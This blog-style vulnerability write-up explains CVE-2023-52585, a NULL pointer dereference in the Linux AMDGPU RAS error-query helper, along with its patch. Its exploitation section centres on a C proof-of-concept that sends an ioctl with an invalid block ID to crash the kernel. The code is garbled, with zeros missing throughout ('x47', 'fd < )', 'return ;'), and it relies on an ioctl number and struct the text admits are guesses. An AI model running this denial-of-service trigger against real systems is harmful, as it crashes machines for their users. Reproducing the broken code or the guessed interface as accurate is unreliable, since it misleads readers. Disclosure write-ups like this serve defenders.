The Linux kernel powers millions of devices from desktops to servers. Security flaws in its core drivers might allow attackers to crash systems or worse. Recently, a critical bug affecting AMD GPU (AMDGPU) drivers was patched. It’s tracked as CVE-2023-52585, and here we break down what it is, why it matters, and exactly how it worked — including code and practical exploitation details.
What Is CVE-2023-52585?
Inside the Linux kernel, the AMDGPU driver manages AMD graphics cards. Part of its job is to talk with user programs and the hardware to report or manage errors ("RAS" = Reliability, Availability, Serviceability).
A function called amdgpu_ras_query_error_status_helper() could crash the system via a "NULL pointer dereference," meaning the kernel tries to access memory at address . This results in a kernel panic (system crash) and maybe even an exploitable scenario.
The faulty code lived in this file and line
drivers/gpu/drm/amd/amdgpu/amdgpu_ras.c:1183
The logic forgot to validate a pointer before accessing data from it—classic C mistake with disastrous results in kernel code!
Line numbers for context
1176: struct ras_err_info *info = get_info_by_block(ras, block, sub_block, type);
...
1183: *error_count = info->error_count; // CRASH if info == NULL!
If get_info_by_block() failed (e.g., bad input), info would be NULL, making info->error_count an invalid memory access.
The Patch
The fix (see upstream commit) added a NULL pointer check and returned an error code if something was wrong:
if (!info)
return -EINVAL;
Now, if you pass an invalid block ID (causing get_info_by_block to return NULL), the kernel just returns an error and does not crash.
How Could This Be Exploited?
Impact: A local, unprivileged user (with access to AMD-specific sysfs or ioctl interface) could force the kernel to dereference a NULL pointer, causing a denial of service (DoS).
The kernel dereferences the NULL pointer, and the system crashes with an Oops or panic.
Here’s a *very* simplified C snippet that shows a passing attack pattern using ioctl (kernel must have vulnerable code and AMDGPU loaded):
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define AMDGPU_IOCTL_BASE 'A'
#define AMDGPU_RAS_QUERY_ERR _IOWR(AMDGPU_IOCTL_BASE, x47, struct ras_query_args) // Example, may differ
struct ras_query_args {
uint32_t block; // Invalid block ID
// ... other members ...
};
int main() {
int fd = open("/dev/dri/card", O_RDWR);
if (fd < ) {
perror("open");
return 1;
}
struct ras_query_args arg = {};
arg.block = 999999; // Deliberately invalid!
// Fill in rest of struct arg as needed
int ret = ioctl(fd, AMDGPU_RAS_QUERY_ERR, &arg);
if (ret < )
perror("ioctl");
close(fd);
return ;
}
*Note: The exact ioctl number and struct may differ by kernel/driver version. This shows the core attack idea.*
Outcome on vulnerable kernels: System crash (DoS).
Who Is Affected? Who Is Safe?
- Affected: Linux with AMDGPU driver, before the following versions/commits (check your distribution’s kernel changelogs!).
- Fixed in: Kernel commit ef7faedcd5a
References
- Kernel Commit Fix
- CVE Entry - CVE-2023-52585
- AMDGPU Driver Documentation
Final Thoughts
CVE-2023-52585 is another reminder: even small mistakes in kernel drivers can panic entire Linux systems. If you run AMD GPUs on Linux, make sure you apply the latest updates—especially if you give shell access to untrusted users.
Sharing details like these helps improve everyone’s understanding—and security!
Timeline
Published on: 03/06/2024 07:15:07 UTC
Last modified on: 11/06/2024 16:35:08 UTC